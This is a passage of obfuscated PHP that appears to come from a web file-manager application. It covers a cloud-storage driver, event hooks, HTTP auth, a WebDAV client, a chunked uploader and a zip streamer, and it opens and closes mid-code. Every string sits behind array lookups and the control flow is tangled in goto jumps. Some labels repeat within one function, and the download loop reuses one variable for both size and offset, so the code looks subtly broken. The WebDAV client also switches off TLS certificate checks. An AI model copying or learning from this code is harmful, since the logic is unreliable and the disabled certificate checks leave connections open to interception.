if ($bƎ) { return !1; } $B = array_key_exists($eæ̭[1169], $Aӆː) ? $B = $Aӆː[$eæ̭[1200]] : $eæ̭[43]; if ($bȯ) { if (!empty($Aӆː[$eæ̭[1201]])) { $a += count($Aӆː[$eæ̭[1201]]); } if (!empty($Aӆː[$eæ̭[1204]])) { $c += count($Aӆː[$eæ̭[1204]]); } if ($B === $eæ̭[43]) { break; } continue; } if ($E‹ڣ) { if (!empty($Aӆː[$eæ̭[1201]])) { return !0; } } else { if (!empty($Aӆː[$eæ̭[1204]])) { return !0; } } if ($B == $eæ̭[43]) { break; } } goto Eݵ; D—: } public function listAll($cę) { $F߾ =& $_SERVER[ȦÆ]; $C = $this->fileList($cę, 1); $f׿ = array(); foreach ($C as $Bљ) { $f׿[$Bљ[$F߾[38]]] = $Bљ[$F߾[87]]; } return $this->listAllFiles($cę, array_keys($f׿), $f׿); } public function canRead($EƉ) { return $this->exist($EƉ) ? !0 : !1; } public function canWrite($fȐ) { return $this->exist($fȐ) ? !0 : !1; } public function getContent($c۩) { return $this->fileSubstr($c۩, 0, -1); } public function setContent($dۇׄ, $dш = '') { $cݶ = $this->tempFile($this->pathThis($dۇׄ)); file_put_contents($cݶ, $dш); if ($this->upload($dۇׄ, $cݶ)) { $this->tempFileRemve($cݶ); return !0; } return !1; } public function refreshUrls($b؂) { goto cɎ; cɎ: $e֧ǧɪ =& $_SERVER[ȦÆ]; $f寧 = array(); if (is_array($b؂)) { foreach ($b؂ as $D͡) { $f寧[] = $this->link($D͡); } } else { $f寧[] = $this->link($b؂); } goto D縏; eﷂ: return $d[$e֧ǧɪ[1205]] == $e֧ǧɪ[697] ? !0 : !1; goto B; D縏: $F͇ = new Qiniu\Cdn\CdnManager($this->auth); list($d, $B֪ڽ) = $F͇->refreshUrls($f寧); if ($B֪ڽ) { return !1; } goto eﷂ; B: } public function fileSubstr($b, $aϺؤ, $DϪ) { $cڛ =& $_SERVER[ȦÆ]; if (!($aׄҽ = $this->link($b))) { return !1; } $BǍ = !1; if ($DϪ > 0) { $DÍà = $aϺؤ + $DϪ - 1; $BǍ = array($cڛ[1206] . $aϺؤ . $cڛ[417] . $DÍÃ); } $C = url_request($aׄҽ, $cڛ[222], !1, $BǍ); return $C[$cڛ[690]] ? $C[$cڛ[1027]] : !1; } public function upload($d, $b, $BڠƱÇ = false, $Dڼ = REPEAT_REPLACE) { $dƫ = new Qiniu\Storage\UploadManager(); $f = $this->auth->uploadToken($this->bucket, $d); $b = get_file_mime(get_path_ext($b)); list($dӎ, $E׷) = $dƫ->putFile($f, $d, $b, null, $b); return $E׷ ? !1 : $this->getPathOuter($d); } public function uploadFormData($Aٌ, $C = 3600) { return $this->uploadToken($Aٌ, $C); } public function multiUploadFormData($elj, $bݗچ = 3600) { return $this->uploadToken($elj, $bݗچ); } private function uploadToken($bЧۜ, $Fϊ = 3600) { goto d; Aꤚ: $f = null; $c栎 = $this->auth->uploadToken($this->bucket, $f, $F, $c, !0); $bą = empty($this->region) || $this->region == $DٓƖ[1209] ? $DٓƖ[43] : $DٓƖ[417] . $this->region; goto BƆǵ; BƆǵ: $C̽ = http_type() . "\x3a\x2f\x2f\165\160\x6c\157\141\x64{$bą}\56\161\x69\156\151\x75\160\56\143\x6f\155\57"; return array($DٓƖ[1210] => $c栎, $DٓƖ[1211] => $C̽); goto aևۊ; d: $DٓƖ =& $_SERVER[ȦÆ]; $F = $Fϊ; $c = array($DٓƖ[1207] => $DٓƖ[1208]); goto Aꤚ; aևۊ: } public function download($F, $a˜) { goto a; a: $BϓĂ = IO::getPathInner(IO::mkfile($a˜)); if (!($FӪ = $this->link($F))) { return !1; } $a = 0; goto aΚ; a: fclose($Bь); return $a˜; goto c; aΚ: $a = 1024 * 200; $Bь = fopen($BϓĂ, $_SERVER[ȦÆ][1212]); while (!0) { $F푦 = $this->fileSubstr($F, $a, $a); if ($F푦 === !1) { return !1; } fwrite($Bь, $F푦); $a += $a; if (strlen($F푦) < $a) { break; } } goto a; c: } public function link($F뻣墵, $A = '') { if (!$this->isFile($F뻣墵)) { return !1; } $a = $this->getHost() . $_SERVER[ȦÆ][18] . $this->pathEncode($F뻣墵) . $A; return $this->auth->privateDownloadUrl($a, 3600 * 12); } public function fileOut($Dϙ, $BҔ = false, $Dߩ޵ = false, $enj = '') { $eВ =& $_SERVER[ȦÆ]; if (!$Dߩ޵) { $Dߩ޵ = $this->pathThis($Dϙ); } $fܓ = $BҔ ? $eВ[1213] . rawurlencode($Dߩ޵) : $eВ[43]; $c = $this->link($Dϙ, $fܓ); $this->fileOutLink($c); } public function fileOutServer($B, $a䅙՝ = false, $Eļ = false, $a͂ = '') { parent::fileOut($B, $a䅙՝, $Eļ, $a͂); } public function fileOutImage($bě۾, $DӢ = 250) { $eᑑ = $this->link($bě۾, $_SERVER[ȦÆ][1214] . $DӢ); $this->fileOutLink($eᑑ); } public function fileOutImageServer($A䣂, $cШ = 250) { parent::fileOutImage($A䣂, $cШ); } public function hashMd5($Dƙ) { $bȾ =& $_SERVER[ȦÆ]; $cϱ = $this->objectMeta($Dƙ); return isset($cϱ[$bȾ[202]]) ? $cϱ[$bȾ[202]] : !1; $a쟓 = $this->link($Dƙ, $bȾ[1215]); } public function size($f³˙) { $F = $this->objectMeta($f³˙); return $F ? $F[$_SERVER[ȦÆ][87]] : 0; } public function info($dƨ) { if ($this->isFolder($dƨ)) { return $this->folderInfo($dƨ); } else { if ($this->isFile($dƨ)) { return $this->fileInfo($dƨ); } } return !1; } public function exist($Fދ) { return $this->isFile($Fދ) || $this->isFolder($Fދ); } public function isFile($fŶ) { return !$this->isFolder($fŶ) && $this->objectMeta($fŶ); } public function isFolder($eѼ) { return $this->cacheMethod($_SERVER[ȦÆ][228], $eѼ); } protected function objectMeta($ë) { return $this->cacheMethod($_SERVER[ȦÆ][229], $ë); } protected function _objectMeta($B匯؈) { $bƝ =& $_SERVER[ȦÆ]; list($f, $BЈ) = $this->bucketManager->stat($this->bucket, $B匯؈); if ($f) { $f[$bƝ[87]] = intval($f[$bƝ[1202]]); } return $f; } protected function _isFolder($F␇ڸ) { $fʍ =& $_SERVER[ȦÆ]; list($a񝑧, $aă) = $this->bucketManager->listFiles($this->bucket, trim($F␇ڸ, $fʍ[18]) . $fʍ[18], $fʍ[43], 1, $fʍ[18]); return !empty($a񝑧[$fʍ[1201]]) || !empty($a񝑧[$fʍ[1204]]) ? !0 : !1; } } goto d; eუ: define($_SERVER[ȦÆ][1905], 4); define($_SERVER[ȦÆ][1906], 5); define($_SERVER[ȦÆ][1907], 16); goto Fۓݽ; fɱ: class Hook { private static $events = array(); public static function get($AƩ = false) { if (!$AƩ) { return self::$events; } else { return self::$events[$AƩ]; } } public static function apply($cǮݱ, $Dⳋ = array()) { $bޛ = ActionApply($cǮݱ, $Dⳋ); if (is_string($cǮݱ)) { Hook::trigger($cǮݱ); } return $bޛ; } public static function bind($Eﳨ懹, $Eᆾ, $B = false) { $aߡ꡽ =& $_SERVER[ȦÆ]; if (!isset(self::$events[$Eﳨ懹])) { self::$events[$Eﳨ懹] = array(); } self::$events[$Eﳨ懹][] = array($aߡ꡽[1721] => $Eᆾ, $aߡ꡽[1722] => $B, $aߡ꡽[1723] => 0); } public static function once($e˄á, $eÊ) { self::bind($e˄á, $eÊ, !0); } public static function unbind($cסȊ, $d闙 = false) { if (!$d闙) { self::$events[$cסȊ] = array(); return; } $b௙ = self::$events[$cסȊ]; self::$events[$cסȊ] = array(); if (!is_array($b௙)) { return; } for ($BՑ = 0; $BՑ < count($b௙); $BՑ++) { if ($b௙[$BՑ][$_SERVER[ȦÆ][1721]] == $d闙) { continue; } self::$events[$cסȊ][] = $b௙[$BՑ]; } } public static function filter($d䬉, $aҒ) { goto eȠ; d˦: for ($Eɐ = 0; $Eɐ < count($e֩); $Eɐ++) { $cԞ = $e֩[$Eɐ]; if ($cԞ[$e[1722]] && $cԞ[$e[1723]] > 1) { continue; } self::$events[$d䬉][$Eɐ][$e[1723]] = $cԞ[$e[1723]] + 1; $D̺ = self::apply($cԞ[$e[1721]], array($d)); if (gettype($D̺) == gettype($d)) { $d = $D̺; } } return $d; goto c; eȠ: $e =& $_SERVER[ȦÆ]; $d = self::$events; if (!isset($d[$d䬉])) { return $aҒ; } goto A; A: $e֩ = $d[$d䬉]; $d = $aҒ; if (!is_array($e֩) || count($e֩) == 0) { return $d; } goto d˦; c: } public static function trigger($f) { goto D虨; E: if (!isset($c[$f])) { return $d٧; } $Bٸ⻤ = $c[$f]; if (!is_array($Bٸ⻤) || count($Bٸ⻤) == 0) { return $d٧; } goto Fč; D虨: $Cς֑ =& $_SERVER[ȦÆ]; $c = self::$events; $d٧ = !1; goto E; Fč: $Fָ = func_get_args(); array_shift($Fָ); for ($CЋ = 0; $CЋ < count($Bٸ⻤); $CЋ++) { $B = $Bٸ⻤[$CЋ]; if ($B[$Cς֑[1722]] && $B[$Cς֑[1723]] > 1) { continue; } if (defined($Cς֑[1724]) && GLOBAL_LOG_HOOK) { write_log($f . $Cς֑[1725] . $B[$Cς֑[1721]], $Cς֑[1726]); } self::$events[$f][$CЋ][$Cς֑[1723]] = $B[$Cς֑[1723]] + 1; $D݃ = self::apply($B[$Cς֑[1721]], $Fָ); if (defined($Cς֑[1724]) && GLOBAL_LOG_HOOK) { write_log(get_caller_info(), $Cς֑[1726]); if ($B[$Cς֑[1723]] == 200) { $a˂ = is_array($B[$Cς֑[1721]]) ? json_encode_force($B[$Cς֑[1721]]) : $B[$Cς֑[1721]]; write_log($Cς֑[1727] . $f . $Cς֑[1728] . $a˂, $Cς֑[1729]); } } $d٧ = is_null($D݃) ? $d٧ : $D݃; } goto e򷝳; e򷝳: return $d٧; goto a󾣥; a󾣥: } } class HttpAuth { public static function get() { $b򵰧졈 =& $_SERVER[ȦÆ]; $Bݙ = $b򵰧졈[43]; $Dß = $b򵰧졈[43]; if (isset($_SERVER[$b򵰧졈[1730]])) { $Bݙ = $_SERVER[$b򵰧졈[1730]]; $Dß = $_SERVER[$b򵰧졈[1731]]; } elseif (isset($_SERVER[$b򵰧졈[1732]])) { $b = $_SERVER[$b򵰧졈[1732]]; if (strpos(strtolower($b), $b򵰧졈[1733]) === 0) { $E = explode($b򵰧졈[4], base64_decode(substr($b, 6))); $Bݙ = isset($E[0]) ? $E[0] : $b򵰧졈[43]; $Dß = isset($E[1]) ? $E[1] : 0; } } return array($b򵰧졈[540] => $Bݙ, $b򵰧졈[892] => $Dß); } public static function error() { goto e旾; E߃: die; goto BӤ; e旾: $d̺ =& $_SERVER[ȦÆ]; header($d̺[1734]); header($d̺[1735]); goto Dǡ; Dǡ: header($d̺[1736]); header($d̺[1737]); header($d̺[1249]); goto E߃; BӤ: } public static function make($cȽ, $Aދ) { $EӪ =& $_SERVER[ȦÆ]; return $EӪ[1738] + base64_encode($cȽ . $EӪ[4] . $Aދ); } } class HttpDavClient { public function __construct($f, $c, $Dэܲ) { $this->header = array(); $this->userName = $c; $this->userPassowrd = $Dэܲ; } protected function makePath($a) { return $a; } protected function setHeader($Aì, $eӪ = false) { if ($eӪ === !1) { $this->header[] = $Aì; } else { $this->header[] = $Aì . $_SERVER[ȦÆ][875] . $eӪ; } } public function move($e, $d, $e = '') { $eä =& $_SERVER[ȦÆ]; $this->setHeader($eä[1739], $this->makePath($d)); $this->setHeader($eä[1740], $eä[1741]); if ($e) { $this->setHeader($eä[1742], $eä[920] . $e . $eä[923]); } return $this->send($eä[1743], $e); } public function copy($e◇, $eͺѬ) { $cӲ =& $_SERVER[ȦÆ]; $this->setHeader($cӲ[1739], $this->makePath($eͺѬ)); $this->setHeader($cӲ[1740], $cӲ[1741]); return $this->send($cӲ[1744], $e◇); } public function mkcol($f׍) { $d =& $_SERVER[ȦÆ]; $this->setHeader($d[1740], $d[1741]); return $this->send($d[1745], $f׍); } public function delete($fïԞDŽ, $B = '') { $b̂ =& $_SERVER[ȦÆ]; if ($B) { $this->setHeader($b̂[1742], $b̂[920] . $B . $b̂[923]); } return $this->send($b̂[1237], $fïԞDŽ); } public function propfind($A) { $eڐ =& $_SERVER[ȦÆ]; $this->setHeader($eڐ[1746], $eڐ[93]); $this->setHeader($eڐ[1747], $eڐ[1748]); $bэ = $eڐ[1749]; return $this->send($eڐ[1750], $A, $bэ); } public function options($Fԇ) { return $this->send($_SERVER[ȦÆ][1751], $Fԇ); } public function get($a쐂) { return $this->send($_SERVER[ȦÆ][222], $a쐂); } public function put($Aꈲɻ, $A߾, $B = '') { $A㹐 =& $_SERVER[ȦÆ]; if ($B) { $this->setHeader($A㹐[1742], $A㹐[920] . $B . $A㹐[923]); } return $this->send($A㹐[220], $Aꈲɻ, $A߾); } protected function send($e, $fˮ, $dىɄ͠ = false, $C٢ = false) { goto eȐ; eȐ: $Fݏ =& $_SERVER[ȦÆ]; $EۿĻ = HttpAuth::make($this->userName, $this->userPassowrd); $this->setHeader($Fݏ[1752], $Fݏ[60]); goto Eɜ; Eɜ: $this->setHeader($EۿĻ); if ($dىɄ͠) { $dىɄ͠ = $Fݏ[1753] . $dىɄ͠; } if (!request_url_safe($fˮ)) { return !1; } goto C; F뚭۞: $this->header = array(); return $A; goto dȏ; fܓ: curl_setopt($d؈, CURLOPT_SSL_VERIFYPEER, !1); curl_setopt($d؈, CURLOPT_SSL_VERIFYHOST, !1); $A = curl_exec($d؈); goto F뚭۞; Eʊ: curl_setopt($d؈, CURLOPT_HTTPHEADER, $this->header); curl_setopt($d؈, CURLOPT_RETURNTRANSFER, !0); curl_setopt($d؈, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); goto fܓ; C: $d؈ = curl_init($fˮ); curl_setopt($d؈, CURLOPT_CUSTOMREQUEST, $e); curl_setopt($d؈, CURLOPT_HTTPAUTH, CURLAUTH_ANY); goto Eʊ; dȏ: } } goto D; E: function ActionCall($c܃) { $Cǭ = array_slice(func_get_args(), 1); return ActionApply($c܃, $Cǭ); } function ActionCallApi($Bўً, $C콿 = '') { goto e糪; e糪: $b =& $_SERVER[صȢˏ]; $E然 = $C콿; if (is_array($C콿)) { $E然 = $b[20]; foreach ($C콿 as $e̡؂ => $Cݹ) { $Cݹ = is_array($Cݹ) ? json_encode($Cݹ) : $Cݹ; $Cݹ = is_bool($Cݹ) ? intval($Cݹ) : $Cݹ; $E然 .= $b[21] . $e̡؂ . $b[22] . rawurlencode($Cݹ); } } goto fнӞ; fнӞ: $bז = Action($b[23])->accessToken(); $Bўً = str_replace($b[5], $b[4], $Bўً) . $b[24] . $bז . $E然; $eꗌ = $b[20]; goto cȄ; cȄ: $Cݏ = phpBinCommand(); if ($Cݏ && function_exists($b[25])) { $a = $Cݏ . $b[26] . BASIC_PATH . $b[27] . escapeshellarg($Bўً); $eꗌ = shell_exec($a); } if (!$eꗌ) { $f跅 = stream_context_create(array($b[28] => array($b[29] => 20, $b[30] => $b[31]))); $eꗌ = file_get_contents(APP_HOST . $b[32] . $Bўً, !1, $f跅); } goto cӤ; F̧: return $B; goto fՆׄ; cӤ: $dʤۡ = json_decode($eꗌ, !0); $B = is_array($dʤۡ) ? $dʤۡ : array($b[33] => null, $b[34] => $eꗌ); if (!$dʤۡ) { echo $eꗌ; } goto F̧; fՆׄ: } function ActionCallHook($b) { goto C; C: $B՚ =& $_SERVER[صȢˏ]; ob_start(); $C펲 = array_slice(func_get_args(), 1); goto c񓂊; c񓂊: $GLOBALS[$B՚[35]] = 1; $C = ActionApply($b, $C펲); $aɩ = ob_get_clean(); goto Cգ΢; Cգ΢: $C = $aɩ ? json_decode($aɩ, !0) : $C; $GLOBALS[$B՚[35]] = 0; return $C; goto CʌĖ; CʌĖ: } goto F짭σ; Aݙ: class Uploader { public $fileName; public $uploadFile; public $tempFile; public function __construct() { goto Eߔ; b؍Nj: if (!empty($_FILES)) { $b˓ʰ = $_FILES[$cƎ[173]]; $this->uploadFile = $b˓ʰ[$cƎ[1937]]; if (!$this->uploadFile && $b˓ʰ[$cƎ[1205]] > 0) { show_json($this->errorInfo($b˓ʰ[$cƎ[1205]]), !1); } } else { if (isset($in[$cƎ[391]])) { $this->uploadFile = isset($in[$cƎ[1938]]) ? $cƎ[1939] : $cƎ[1784]; } } $this->fileName = self::fileName(); $this->statusData = !1; goto e; e: $this->checkSize(); $this->tempPathInit(); goto DӃ; Eߔ: $cƎ =& $_SERVER[ȦÆ]; global $in; $this->in =& $in; goto b؍Nj; DӃ: } public function upload() { goto D瑌; Aij: ignore_timeout(); if (!$this->checkChunkHash($A۴)) { $this->showJson($f̧[1954], !1); } $this->statusSet(!1); goto EҪ; D댵: $A۴[$f̧[1950]][$f̧[1951] . $cܤ] = array($f̧[1952] => $Eނ, $f̧[1029] => $cܤ, $f̧[87] => $Eܚ, $f̧[170] => $d҃); $this->statusSet($A۴); if (count($A۴[$f̧[1950]]) != $A۴[$f̧[1949]]) { $this->showJson($f̧[1953] . $cܤ, !0); } goto Aij; EҪ: CacheLock::unlock($this->tempFile); return $this->tempFile; goto eʉ; fߩ: CacheLock::lock($this->tempFile, 20); $A۴ = $this->statusGet(); $this->initFileTemp(); goto D; dnj: $C = $this->writeTo($a䱸, $E܉׾, $this->tempFile); $d҃ = IO::hashSimple($a䱸); $Eܚ = IO::size($a䱸); goto d嘈ۋ; AƠ뺬: $D = $this->tempFile . $f̧[1942] . $cܤ; $Eܚ = isset($this->in[$f̧[525]]) ? intval($this->in[$f̧[525]]) : 0; $cژ = isset($this->in[$f̧[1943]]) ? intval($this->in[$f̧[1943]]) : 0; goto aʬ; d: $Eނ = $cܤ * $cژ; $E܉׾ = @fopen($this->tempFile, $f̧[1947]); fseek($E܉׾, $Eނ); goto dnj; aʬ: if ($F > 1 && $cژ <= 0) { show_json($f̧[1944], !1); } if ($cژ > $Eܚ) { $F = 1; } if ($F <= 1) { $this->tempFile = $this->tempFile . rand_string(5); $this->statusSet(!1); return $this->moveUploadedFile($this->tempFile); } goto fߩ; D: $a䱸 = $this->moveUploadedFile($D); if ($Eܚ > 0 && filesize($a䱸) == 0) { $this->showJson($f̧[1945], !1); } if (!$a䱸) { $this->showJson(LNG($f̧[1946]), !1); } goto d; D瑌: $f̧ =& $_SERVER[ȦÆ]; $cܤ = isset($this->in[$f̧[1940]]) ? intval($this->in[$f̧[1940]]) : 0; $F = isset($this->in[$f̧[1941]]) ? intval($this->in[$f̧[1941]]) : 1; goto AƠ뺬; d嘈ۋ: @unlink($a䱸); if (!$C) { $this->showJson($f̧[1948] . $cܤ, !1); } $A۴[$f̧[1949]] = $F; goto D댵; eʉ: } private function checkSize() { $CԔ =& $_SERVER[ȦÆ]; if (phpBuild64() || $this->in[$CԔ[87]] < PHP_INT_MAX) { return; } show_json(LNG($CԔ[1955]), !1); } private function showJson($a, $e˛) { CacheLock::unlock($this->tempFile); if (!$e˛) { return show_json($a, $e˛); } show_json($a, $e˛); } public function clearData() { $this->statusSet(!1); if (file_exists($this->tempFile)) { @unlink($this->tempFile); return; } } private function tempPathInit() { goto cڪ; f: $this->tempFile = $DҊ . $F󟋡[1958] . md5($Eù . $this->in[$F󟋡[1502]]); goto Fڊ; bď: touch($DҊ . $F󟋡[1956]); $Eù = isset($this->in[$F󟋡[1957]]) ? $this->in[$F󟋡[1957]] : !1; if (strlen($Eù) < 30) { $Eù = md5(USER_ID . $this->in[$F󟋡[85]] . $this->fileName . $this->in[$F󟋡[87]]); } goto f; cڪ: $F󟋡 =& $_SERVER[ȦÆ]; $DҊ = TEMP_FILES; @mk_dir($DҊ); goto bď; Fڊ: } private function moveUploadedFile($eǂ) { $C =& $_SERVER[ȦÆ]; $cߔ = $this->uploadFile; if ($cߔ == $C[1959]) { @file_put_contents($eǂ, base64_decode($_REQUEST[$C[1960]])); } else { if ($cߔ == $C[1784]) { $cӘ = @fopen($eǂ, $C[1492]); $this->writeTo($cߔ, $cӘ, $eǂ); } else { if (!move_uploaded_file($cߔ, $eǂ)) { return !1; } } } return $eǂ; } private function writeTo($A֦񻢚, $Bϊ, $F) { goto E֐; Fۆ놜: return !0; goto fʻŇ; Aҗ: fclose($B); fclose($Bϊ); CacheLock::unlock($fՊ); goto Fۆ놜; E֐: $dж =& $_SERVER[ȦÆ]; $fՊ = $dж[1961] . $F; $E҇ڈ = CacheLock::lock($fՊ, 1); goto D; D: $B = @fopen($A֦񻢚, $dж[1491]); if (!$B || !$Bϊ || !$E҇ڈ) { CacheLock::unlock($fՊ); return !1; } while (!feof($B)) { fwrite($Bϊ, fread($B, 1024 * 200)); } goto Aҗ; fʻŇ: } private function statusGet() { goto b; AȾLj: if (!$this->statusData) { $D = array($cܘ[38] => $this->fileName, $cܘ[1949] => 0, $cܘ[1950] => array()); $this->statusSet($D); } return $this->statusData; goto bʖ; b: $cܘ =& $_SERVER[ȦÆ]; if (is_array($this->statusData)) { return $this->statusData; } $E = $this->tempFile . $cܘ[1962]; goto a蟇; a蟇: $f = !1; if (file_exists($E)) { $f = @file_get_contents($E); } if ($f) { $this->statusData = json_decode($f, !0); } goto AȾLj; bʖ: } public function statusSet($A҈) { $A = $this->tempFile . $_SERVER[ȦÆ][1962]; if (!$A҈) { if (file_exists($A)) { @unlink($A); } return !0; } $this->statusData = $A҈; return file_put_contents($A, json_encode($A҈)); } private function initFileTemp() { $bܛ =& $_SERVER[ȦÆ]; if (file_exists($this->tempFile)) { return; } $E‡ = fopen($this->tempFile, $bܛ[1963]); fseek($E‡, $this->in[$bܛ[87]] - 1, SEEK_SET); fwrite($E‡, $bܛ[473]); fclose($E‡); } public function checkChunk() { goto F; F: $F慄 =& $_SERVER[ȦÆ]; $e呜ƞ = array(); CacheLock::lock($this->tempFile); goto c; c: $dјʽ = $this->statusGet(); CacheLock::unlock($this->tempFile); foreach ($dјʽ[$F慄[1950]] as $C؇) { $bꛯ = $C؇[$F慄[170]]; if ($bꛯ) { $e呜ƞ[$F慄[1964] . $C؇[$F慄[1029]]] = $bꛯ; } } goto Dʩ; Dʩ: return $e呜ƞ; goto dރ; dރ: } private function checkChunkHash($F؄) { goto BՇ; cʓѴ: $eٝ = _get($this->in, $a±[1965]); if (strlen($eٝ) == 32 && IO::hashSimple($this->tempFile) == $eЊ && IO::hashMd5($this->tempFile) == $eٝ) { return !0; } $E糈 = fopen($this->tempFile, $a±[1155]); goto a؂͂; c: return $Eќ; goto F; a؂͂: $Eќ = !0; foreach ($F؄[$a±[1950]] as $cٮ) { fseek($E糈, $cٮ[$a±[1952]]); $cߗٖ = PathDriverStream::hash($E糈, $cٮ[$a±[87]]); if ($cٮ[$a±[170]] != $cߗٖ) { $Eќ = !1; break; } } fclose($E糈); goto c; BՇ: $a± =& $_SERVER[ȦÆ]; if (count($F؄[$a±[1950]]) != $F؄[$a±[1949]]) { return !1; } $eЊ = _get($this->in, $a±[1957]); goto cʓѴ; F: } public static function fileName() { goto D߽; f賦: $C絲 = strtotime($in[$a[1966]]); $C絲 = $C絲 ? $C絲 : time(); $dƉ = strtolower($b); goto AƯȪ; D߽: $a =& $_SERVER[ȦÆ]; global $in; $b = isset($in[$a[38]]) ? $in[$a[38]] : $a[43]; goto eİ; AƯȪ: if ($dƉ == $a[1967] || $dƉ == $a[1968]) { $b = date($a[691], $C絲) . $a[80] . $in[$a[87]] . $a[1599]; } else { if ($dƉ == $a[1969]) { $b = date($a[691], $C絲) . $a[80] . $in[$a[87]] . $a[1970]; } } return $b; goto D봵; eİ: if (!empty($_FILES)) { $b = $b ? $b : $_FILES[$a[173]][$a[391]]; } $b = str_replace(array($a[103], $a[18]), array($a[18], $a[101]), trim($b)); if (!is_wap()) { return $b; } goto f賦; D봵: } private function errorInfo($fƎ) { $BƘ =& $_SERVER[ȦÆ]; $d = array($BƘ[1971], $BƘ[1972], $BƘ[1973], $BƘ[1974], $BƘ[1975], $BƘ[1976], $BƘ[1977], $BƘ[1978]); return $fƎ . $BƘ[4] . $d[$fƎ]; } } class ZipMake { const VERSION = "\x30\x2e\x32\56\60"; const ZIP_VERSION = 10; const ZIP_VERSION_64 = 45; const METHOD_STORE = 0; const FILE_HEADER_SIGNATURE = 67324752; const CDR_FILE_SIGNATURE = 33639248; const CDR_EOF_SIGNATURE = 101010256; const DATA_DESCRIPTOR_SIGNATURE = 134695760; const ZIP64_CDR_EOF_SIGNATURE = 101075792; const ZIP64_CDR_LOCATOR_SIGNATURE = 117853008; public $files = array(); public $cdrOffset = 0; public $ofs = 0; protected $needHeaders; protected $outputName; public function __construct($B = null) { $CΈ =& $_SERVER[ȦÆ]; $this->outputStream = fopen($CΈ[1979], $CΈ[1212]); $this->outputName = $B; $this->needHeaders = !0; } public function addFile($aӈ, $Eذ) { goto aԻ; Bɩ: $d㱄 = $this->addFileHeader($aӈ, $EǷק); $A¦̥ = $c힃 = filesize($Eذ); $e = fopen($Eذ, $c؋Ƃ[1980]); goto f; dɃĢ: $this->addFileFooter($aӈ, $EǷק, $FҞ, $A¦̥, $c힃, $d㱄); goto c; f: while (!feof($e)) { $A = fread($e, 1048576); $this->send($A); } fclose($e); $FҞ = hexdec(hash_file($c؋Ƃ[1981], $Eذ)); goto dɃĢ; aԻ: $c؋Ƃ =& $_SERVER[ȦÆ]; $aӈ = $this->filterFilename($aӈ); $EǷק = static::METHOD_STORE; goto Bɩ; c: } public function addFileFromStream($Cы, $F骶) { goto A; d먩: fseek($F骶, 0, SEEK_END); $aϳ = $cտ = ftell($F骶); rewind($F骶); goto B; B: $this->addFileFooter($Cы, $A, $Fɣ, $aϳ, $cտ, $DŦɌ); goto b̳; A: $Cы = $this->filterFilename($Cы); $A = static::METHOD_STORE; $DŦɌ = $this->addFileHeader($Cы, $A); goto d먩; B: $B = hash_init($_SERVER[ȦÆ][1981]); while (!feof($F骶)) { $c̅ = fread($F骶, 1048576); hash_update($B, $c̅); $this->send($c̅); } $Fɣ = hexdec(hash_final($B)); goto B; b̳: } public function finish() { foreach ($this->files as $Eߜ) { $this->addCdrFile($Eߜ); } $this->addCdr64Eof(); $this->addCdr64Locator(); $this->addCdrEof(); $this->clear(); } protected function addFileHeader($DʍƤ, $d킈) { goto B̩; B̩: $eՠ =& $_SERVER[ȦÆ]; $DʍƤ = preg_replace($eՠ[1982], $eՠ[43], $DʍƤ); $C鄐 = strlen($DʍƤ); goto f͗; aӔ: return strlen($A) + $C鄐 + strlen($b); goto a乾; f͗: $f = $this->dosTime(time()); $a˔ = array(array($eՠ[1983], static::FILE_HEADER_SIGNATURE), array($eՠ[1984], static::ZIP_VERSION_64), array($eՠ[1984], 8), array($eՠ[1984], $d킈), array($eՠ[1983], $f), array($eՠ[1983], 0), array($eՠ[1983], 4294967295), array($eՠ[1983], 4294967295), array($eՠ[1984], $C鄐), array($eՠ[1984], 32)); $eٻ = array(array($eՠ[1984], 1), array($eՠ[1984], 28), array($eՠ[1985], 0), array($eՠ[1985], 0), array($eՠ[1985], 0), array($eՠ[1983], 0)); goto Fװ; Fװ: $A = $this->packFields($a˔); $b = $this->packFields($eٻ); $this->send($A . $DʍƤ . $b); goto aӔ; a乾: } protected function addFileFooter($A됍, $Eˣ͚, $Cۭ, $a٧, $E̢, $dŚ) { $a =& $_SERVER[ȦÆ]; $E挈 = array(array($a[1983], static::DATA_DESCRIPTOR_SIGNATURE), array($a[1983], $Cۭ), array($a[1985], $a٧), array($a[1985], $E̢)); $CǨ = $this->packFields($E挈); $this->send($CǨ); $fԄ = $dŚ + $a٧ + $cͩ; $this->addToCdr($A됍, $Eˣ͚, $Cۭ, $a٧, $E̢, $fԄ); } private function addToCdr($fİ̙, $FĄ, $F, $A, $Eɻ, $E) { $this->files[] = array($fİ̙, $FĄ, $F, $A, $Eɻ, $this->ofs); $this->ofs += $E; } protected function addCdrFile($aу) { goto D󌴣; F: $Aѽ = $this->packFields($Că؎); $f = $this->packFields($Dɯ); $F = $Aѽ . $Aӷ . $Aԍń . $f; goto e; D󌴣: $B쬻 =& $_SERVER[ȦÆ]; list($Aӷ, $CСΦ, $Bۮ̢, $C, $E宙, $dԄ) = $aу; $Aԍń = $B쬻[43]; goto CѮō; e: $this->send($F); $this->cdr_ofs += strlen($F); goto dΕ; CѮō: $e = $this->dosTime(time()); $Că؎ = array(array($B쬻[1983], static::CDR_FILE_SIGNATURE), array($B쬻[1984], static::ZIP_VERSION_64), array($B쬻[1984], static::ZIP_VERSION_64), array($B쬻[1984], 8), array($B쬻[1984], $CСΦ), array($B쬻[1983], $e), array($B쬻[1983], $Bۮ̢), array($B쬻[1983], 4294967295), array($B쬻[1983], 4294967295), array($B쬻[1984], strlen($Aӷ)), array($B쬻[1984], 32), array($B쬻[1984], strlen($Aԍń)), array($B쬻[1984], 0), array($B쬻[1984], 0), array($B쬻[1983], 32), array($B쬻[1983], 4294967295)); $Dɯ = array(array($B쬻[1984], 1), array($B쬻[1984], 28), array($B쬻[1985], $E宙), array($B쬻[1985], $C), array($B쬻[1985], $dԄ), array($B쬻[1983], 0)); goto F; dΕ: } protected function addCdr64Eof() { goto B; AţМ: $this->send($aՔ); goto Fɬ; B: $b͗溻 =& $_SERVER[ȦÆ]; $c = count($this->files); $fƼ = $this->cdr_ofs; goto a֟ג; a֟ג: $eȡ = $this->ofs; $c؟ = array(array($b͗溻[1983], static::ZIP64_CDR_EOF_SIGNATURE), array($b͗溻[1985], 44), array($b͗溻[1984], static::ZIP_VERSION_64), array($b͗溻[1984], static::ZIP_VERSION_64), array($b͗溻[1983], 0), array($b͗溻[1983], 0), array($b͗溻[1985], $c), array($b͗溻[1985], $c), array($b͗溻[1985], $fƼ), array($b͗溻[1985], $eȡ)); $aՔ = $this->packFields($c؟); goto AţМ; Fɬ: } protected function addCdr64Locator() { goto cǫ; E叒ދ: $Fө = $this->ofs; $FǪ = 